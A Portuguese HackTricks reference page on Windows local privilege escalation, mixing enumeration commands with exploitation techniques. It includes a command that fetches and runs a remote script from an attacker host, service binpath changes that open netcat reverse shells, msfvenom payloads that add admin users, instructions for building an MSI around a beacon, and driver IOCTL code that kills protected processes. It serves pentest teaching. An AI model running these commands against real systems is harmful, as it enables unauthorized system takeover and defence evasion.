Escalação de Privilégios Local no Windows

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Melhor ferramenta para procurar vetores de escalação de privilégios local no Windows: WinPEAS

Teoria Inicial do Windows

Access Tokens

Se você não sabe o que são Windows Access Tokens, leia a página a seguir antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulte a página a seguir para mais informações sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Níveis de Integridade

Se você não sabe o que são níveis de integridade no Windows, deve ler a página a seguir antes de continuar:

Integrity Levels

Controles de Segurança do Windows

Existem diferentes coisas no Windows que podem impedir que você enumere o sistema, execute executáveis ou até mesmo detectem suas atividades. Você deve ler a página a seguir e enumerar todos esses mecanismos de defesa antes de começar a enumeração para escalada de privilégios:

Windows Security Controls

Admin Protection / UIAccess silent elevation

UIAccess processes launched through RAiLaunchAdminProcess can be abused to reach High IL without prompts when AppInfo secure-path checks are bypassed. Check the dedicated UIAccess/Admin Protection bypass workflow here:

Uiaccess Admin Protection Bypass

Informações do Sistema

Enumeração de informações da versão

Verifique se a versão do Windows possui alguma vulnerabilidade conhecida (verifique também os patches aplicados).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploits por Versão

This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the enorme superfície de ataque that a Windows environment presents.

No sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas tem o watson embutido)

Localmente com informações do sistema

Repositórios do GitHub de exploits:

Ambiente

Alguma credencial/informação valiosa salva nas variáveis de ambiente?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Histórico do PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell arquivos de transcrição

Você pode aprender como ativar isso em https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Detalhes das execuções do pipeline do PowerShell são registrados, englobando comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e os resultados de saída podem não ser capturados.

Para habilitar isso, siga as instruções na seção “Transcript files” da documentação, optando por “Module Logging” em vez de “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para visualizar os últimos 15 eventos dos logs do PowersShell você pode executar:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Um registro completo de atividade e do conteúdo integral da execução do script é capturado, garantindo que cada bloco de código seja documentado enquanto é executado.

Esse processo preserva uma trilha de auditoria abrangente de cada atividade, valiosa para investigações forenses e para a análise de comportamento malicioso. Ao documentar toda a atividade no momento da execução, são fornecidas informações detalhadas sobre o processo.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Eventos de log para o Script Block podem ser localizados no Visualizador de Eventos do Windows no caminho: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Para visualizar os últimos 20 eventos você pode usar:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configurações de Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Você pode comprometer o sistema se as atualizações não forem solicitadas usando httpS mas http.

Você começa verificando se a rede usa uma atualização WSUS sem SSL executando o seguinte em cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Ou o seguinte em PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Se você receber uma resposta como uma destas:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ou Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" for igual a 1.

Então, é explorável. Se o último valor do registro for igual a 0, a entrada do WSUS será ignorada.

Para explorar essas vulnerabilidades você pode usar ferramentas como: Wsuxploit, pyWSUS - Esses são scripts de exploits MiTM para injetar atualizações ‘falsas’ em tráfego WSUS não-SSL.

Leia a pesquisa aqui:

WSUS CVE-2020-1013

Read the complete report here.
Basicamente, essa é a falha que este bug explora:

Se tivermos o poder de modificar o proxy do usuário local, e o Windows Updates usar o proxy configurado nas configurações do Internet Explorer, então teremos o poder de executar PyWSUS localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado no nosso ativo.

Além disso, já que o serviço WSUS usa as configurações do usuário atual, ele também usará o seu repositório de certificados. Se gerarmos um certificado autoassinado para o hostname do WSUS e adicionarmos esse certificado ao repositório de certificados do usuário atual, seremos capazes de interceptar tanto o tráfego HTTP quanto HTTPS do WSUS. WSUS não usa mecanismos tipo HSTS para implementar uma validação do tipo trust-on-first-use no certificado. Se o certificado apresentado for confiável pelo usuário e tiver o hostname correto, ele será aceito pelo serviço.

Você pode explorar essa vulnerabilidade usando a ferramenta WSUSpicious (quando for liberada).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Muitos agentes empresariais expõem uma superfície IPC em localhost e um canal de atualização privilegiado. Se a inscrição puder ser coagida para um servidor do atacante e o updater confiar em uma CA root rogue ou em verificações de assinante fracas, um usuário local pode entregar um MSI malicioso que o serviço SYSTEM instala. Veja uma técnica generalizada (baseada na cadeia Netskope stAgentSvc – CVE-2025-0309) aqui:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 expõe um serviço em localhost na TCP/9401 que processa mensagens controladas pelo atacante, permitindo comandos arbitrários como NT AUTHORITY\SYSTEM.

  • Recon: confirme o listener e a versão, por exemplo, netstat -ano | findstr 9401 e (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: coloque um PoC como VeeamHax.exe com as DLLs necessárias do Veeam no mesmo diretório, então dispare uma payload SYSTEM sobre o socket local:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

O serviço executa o comando como SYSTEM.

KrbRelayUp

Uma vulnerabilidade de local privilege escalation existe em ambientes Windows domain sob condições específicas. Essas condições incluem ambientes onde LDAP signing não é aplicado, usuários possuem self-rights que lhes permitem configurar Resource-Based Constrained Delegation (RBCD), e a capacidade de usuários criarem computadores dentro do domínio. É importante notar que esses requisitos são atendidos usando as configurações padrão.

Encontre o exploit em https://github.com/Dec0ne/KrbRelayUp

Para mais informações sobre o fluxo do ataque, consulte https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Se essas 2 entradas do registro estiverem ativadas (valor é 0x1), então usuários de qualquer privilégio podem instalar (executar) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Se você tiver uma sessão meterpreter, pode automatizar esta técnica usando o módulo exploit/windows/local/always_install_elevated

PowerUP

Use o comando Write-UserAddMSI do power-up para criar, no diretório atual, um binário Windows MSI para escalada de privilégios. Este script gera um instalador MSI pré-compilado que solicita a adição de um usuário/grupo (portanto você precisará de acesso GUI):

Write-UserAddMSI

Basta executar o binário criado para escalar privilégios.

MSI Wrapper

Leia este tutorial para aprender como criar um MSI wrapper usando estas ferramentas. Note que você pode empacotar um “.bat” se você apenas quiser executar linhas de comando

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Open Visual Studio, select Create a new project and type “installer” into the search box. Select the Setup Wizard project and click Next.
  • Give the project a name, like AlwaysPrivesc, use C:\privesc for the location, select place solution and project in the same directory, and click Create.
  • Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
  • Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
  • There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
  • Right-click the project and select View > Custom Actions.
  • Right-click Install and select Add Custom Action.
  • Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
  • Under the Custom Action Properties, change Run64Bit to True.
  • Finally, build it.
  • If the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' is shown, make sure you set the platform to x64.

MSI Installation

To execute the installation of the malicious .msi file in background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explorar essa vulnerabilidade você pode usar: exploit/windows/local/always_install_elevated

Antivírus e Detectores

Configurações de Auditoria

Essas configurações determinam o que está sendo registrado, então você deve prestar atenção

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, é interessante saber para onde os logs são enviados

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS foi projetado para o gerenciamento de senhas do Administrator local, garantindo que cada senha seja única, aleatória e atualizada regularmente em computadores ingressados em um domínio. Essas senhas são armazenadas com segurança no Active Directory e só podem ser acessadas por usuários que receberam permissões suficientes através de ACLs, permitindo que visualizem as senhas do Administrator local se autorizados.

LAPS

WDigest

Se ativo, senhas em texto simples são armazenadas no LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

A partir do Windows 8.1, a Microsoft introduziu proteção aprimorada para o Local Security Authority (LSA) para bloquear tentativas de processos não confiáveis de ler sua memória ou inject code, reforçando a segurança do sistema.
Mais informações sobre LSA Protection aqui.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard foi introduzido no Windows 10. Seu objetivo é proteger as credenciais armazenadas em um dispositivo contra ameaças como ataques pass-the-hash.| Mais informações sobre Credentials Guard aqui.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials são autenticadas pela Local Security Authority (LSA) e utilizadas pelos componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, as domain credentials do usuário normalmente são estabelecidas.
Mais informações sobre Cached Credentials aqui.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuários e Grupos

Enumerar Usuários e Grupos

Você deve verificar se algum dos grupos dos quais você faz parte possui permissões interessantes

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Se você pertence a algum grupo privilegiado, pode ser capaz de escalar privilégios. Saiba sobre grupos privilegiados e como abusar deles para escalar privilégios aqui:

Privileged Groups

Manipulação de Token

Saiba mais sobre o que é um token nesta página: Windows Tokens.
Consulte a página a seguir para aprender sobre tokens interessantes e como abusá-los:

Abusing Tokens

Usuários logados / Sessões

qwinsta
klist sessions

Pastas do usuário

dir C:\Users
Get-ChildItem C:\Users

Política de Senhas

net accounts

Obter o conteúdo da área de transferência

powershell -command "Get-Clipboard"

Processos em Execução

Permissões de Arquivos e Pastas

Primeiro, ao listar os processos verifique por senhas dentro da linha de comando do processo.
Verifique se você pode sobrescrever algum binary em execução ou se você tem permissões de escrita na pasta do binary para explorar possíveis DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Sempre verifique se há electron/cef/chromium debuggers em execução — você pode abusar disso para escalar privilégios.

Verificando permissões dos processos binaries

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Verificando permissões das pastas dos binários dos processos (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Mineração de senhas na memória

Você pode criar um dump de memória de um processo em execução usando procdump do sysinternals. Serviços como FTP têm as credenciais em texto claro na memória; tente despejar a memória e ler as credenciais.

procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicativos GUI inseguros

Aplicativos executando como SYSTEM podem permitir que um usuário abra um CMD ou navegue por diretórios.

Exemplo: “Windows Help and Support” (Windows + F1), pesquise por “command prompt” e clique em “Click to open Command Prompt”

Serviços

Service Triggers permitem que o Windows inicie um serviço quando certas condições ocorrem (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Mesmo sem direitos SERVICE_START, você pode frequentemente iniciar serviços privilegiados acionando seus triggers. Veja técnicas de enumeração e ativação aqui:

Service Triggers

Obtenha uma lista de serviços:

net start
wmic service list brief
sc query
Get-Service

Permissões

Você pode usar sc para obter informações de um serviço

sc qc <service_name>

Recomenda-se ter o binário accesschk do Sysinternals para verificar o nível de privilégio necessário para cada serviço.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Recomenda-se verificar se “Authenticated Users” podem modificar qualquer serviço:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Habilitar serviço

Se você estiver recebendo este erro (por exemplo com SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Você pode habilitá-lo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Leve em conta que o serviço upnphost depende do SSDPSRV para funcionar (no XP SP1)

Outra solução alternativa para esse problema é executar:

sc.exe config usosvc start= auto

Modificar caminho do binário do serviço

No cenário em que o grupo “Authenticated users” possui SERVICE_ALL_ACCESS em um serviço, é possível modificar o binário executável do serviço. Para modificar e executar sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar serviço

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privileges can be escalated through various permissions:

  • SERVICE_CHANGE_CONFIG: Allows reconfiguration of the service binary.
  • WRITE_DAC: Enables permission reconfiguration, leading to the ability to change service configurations.
  • WRITE_OWNER: Permits ownership acquisition and permission reconfiguration.
  • GENERIC_WRITE: Inherits the ability to change service configurations.
  • GENERIC_ALL: Also inherits the ability to change service configurations.

For the detection and exploitation of this vulnerability, the exploit/windows/local/service_permissions can be utilized.

Services binaries weak permissions

Verifique se você pode modificar o binário que é executado por um serviço ou se você tem permissões de escrita na pasta onde o binário está localizado (DLL Hijacking).
Você pode obter todos os binários que são executados por um serviço usando wmic (não em system32) e verificar suas permissões usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Você também pode usar sc e icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permissões de modificação do registro de serviços

Você deve verificar se pode modificar algum registro de serviço.
Você pode verificar as suas permissões sobre um registro de serviço fazendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Deve-se verificar se Authenticated Users ou NT AUTHORITY\INTERACTIVE possuem permissões FullControl. Se sim, o binário executado pelo serviço pode ser alterado.

Para alterar o Path do binário executado:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Permissões AppendData/AddSubdirectory no Services registry

Se você tem essa permissão sobre um registry, isso significa que você pode criar sub-registries a partir deste. No caso de Windows services, isto é suficiente para executar código arbitrário:

AppendData/AddSubdirectory permission over service registry

Caminhos de serviço sem aspas

Se o caminho para um executável não estiver entre aspas, o Windows tentará executar cada trecho que venha antes de um espaço.

Por exemplo, para o caminho C:\Program Files\Some Folder\Service.exe o Windows tentará executar:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Liste todos os caminhos de serviço sem aspas, excluindo aqueles pertencentes a serviços integrados do Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Você pode detectar e exploit esta vulnerabilidade com metasploit: exploit/windows/local/trusted\_service\_path Você pode criar manualmente um binário de serviço com metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Ações de Recuperação

Windows permite que usuários especifiquem ações a serem tomadas se um serviço falhar. Esse recurso pode ser configurado para apontar para um binary. Se esse binary for substituível, privilege escalation pode ser possível. Mais detalhes podem ser encontrados na documentação oficial.

Aplicações

Aplicações Instaladas

Verifique as permissões dos binaries (talvez você consiga overwrite um e escalate privileges) e das pastas (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permissões de Escrita

Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial ou se você pode modificar algum binário que será executado por uma conta Administrator (schedtasks).

Uma forma de encontrar permissões fracas em pastas/arquivos no sistema é fazendo:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Notepad++ plugin autoload persistence/execution

Notepad++ carrega automaticamente qualquer DLL de plugin nas suas subpastas plugins. Se existir uma instalação portátil/cópia gravável, colocar um plugin malicioso resulta em execução automática de código dentro de notepad++.exe a cada inicialização (incluindo a partir de DllMain e plugin callbacks).

Notepad Plus Plus Plugin Autoload Persistence

Executar na inicialização

Verifique se consegue sobrescrever algum registro ou binário que será executado por outro usuário.
Leia a página a seguir para saber mais sobre locais de autoruns interessantes para escalar privilégios:

Privilege Escalation with Autoruns

Drivers

Procure por possíveis drivers de terceiros estranhos/vulneráveis

driverquery
driverquery.exe /fo table
driverquery /SI

Se um driver expõe uma primitiva de leitura/escrita arbitrária no kernel (comum em handlers IOCTL mal projetados), você pode escalar roubando um token SYSTEM diretamente da memória do kernel. Veja a técnica passo a passo aqui:

Arbitrary Kernel Rw Token Theft

Para bugs de race-condition em que a chamada vulnerável abre um caminho do Object Manager controlado pelo atacante, retardar deliberadamente a resolução (usando componentes de comprimento máximo ou cadeias de diretórios profundas) pode ampliar a janela de microsegundos para dezenas de microsegundos:

Kernel Race Condition Object Manager Slowdown

Primitivas de corrupção de memória de registry hive

Vulnerabilidades modernas em registry hives permitem preparar layouts determinísticos, abusar de descendentes HKLM/HKU graváveis e converter corrupção de metadados em overflows do paged pool do kernel sem precisar de um driver customizado. Aprenda a cadeia completa aqui:

Windows Registry Hive Exploitation

Abusando da ausência de FILE_DEVICE_SECURE_OPEN em device objects (LPE + EDR kill)

Alguns drivers de terceiros assinados criam seu device object com um SDDL forte via IoCreateDeviceSecure, mas esquecem de setar FILE_DEVICE_SECURE_OPEN em DeviceCharacteristics. Sem essa flag, o DACL seguro não é aplicado quando o device é aberto através de um caminho que contém um componente extra, permitindo que qualquer usuário sem privilégios obtenha um handle usando um namespace path como:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Uma vez que um usuário consegue abrir o device, IOCTLs privilegiados expostos pelo driver podem ser abusados para LPE e manipulação. Capacidades de exemplo observadas na prática:

  • Retornar handles com acesso total para processos arbitrários (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Leitura/escrita raw de disco sem restrições (manipulação offline, truques de persistência na inicialização).
  • Terminar processos arbitrários, incluindo Protected Process/Light (PP/PPL), permitindo kill de AV/EDR a partir do user land via kernel.

Padrão mínimo de PoC (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigações para desenvolvedores

  • Sempre defina FILE_DEVICE_SECURE_OPEN ao criar objetos de dispositivo destinados a serem restritos por um DACL.
  • Valide o contexto do chamador para operações privilegiadas. Adicione checagens PP/PPL antes de permitir término de processo ou retorno de handles.
  • Constrinja IOCTLs (access masks, METHOD_*, validação de entrada) e considere modelos brokered em vez de privilégios diretos no kernel.

Ideias de detecção para defensores

  • Monitore aberturas em user-mode de nomes de dispositivo suspeitos (e.g., \ .\amsdk*) e sequências específicas de IOCTL indicativas de abuso.
  • Aplique a blocklist de drivers vulneráveis da Microsoft (HVCI/WDAC/Smart App Control) e mantenha suas próprias listas de permissão/negação.

PATH DLL Hijacking

Se você tiver write permissions inside a folder present on PATH você poderia ser capaz de hijack uma DLL carregada por um processo e escalate privileges.

Verifique as permissões de todas as pastas dentro PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para mais informações sobre como abusar desta verificação:

Writable Sys Path +Dll Hijacking Privesc

Rede

Compartilhamentos

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Verifique se há outros computadores conhecidos hardcoded no hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfaces de Rede & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Portas Abertas

Verifique a existência de serviços restritos a partir do exterior

netstat -ano #Opened ports?

Tabela de Roteamento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabela ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Regras do Firewall

Consulte esta página para comandos relacionados ao Firewall (listar regras, criar regras, desativar, desativar…)

Mais comandos para enumeração de rede aqui

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

O binário bash.exe também pode ser encontrado em C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Se você obtiver o usuário root, pode escutar em qualquer porta (na primeira vez que você usar nc.exe para escutar em uma porta, ele perguntará via GUI se o nc deve ser permitido pelo firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
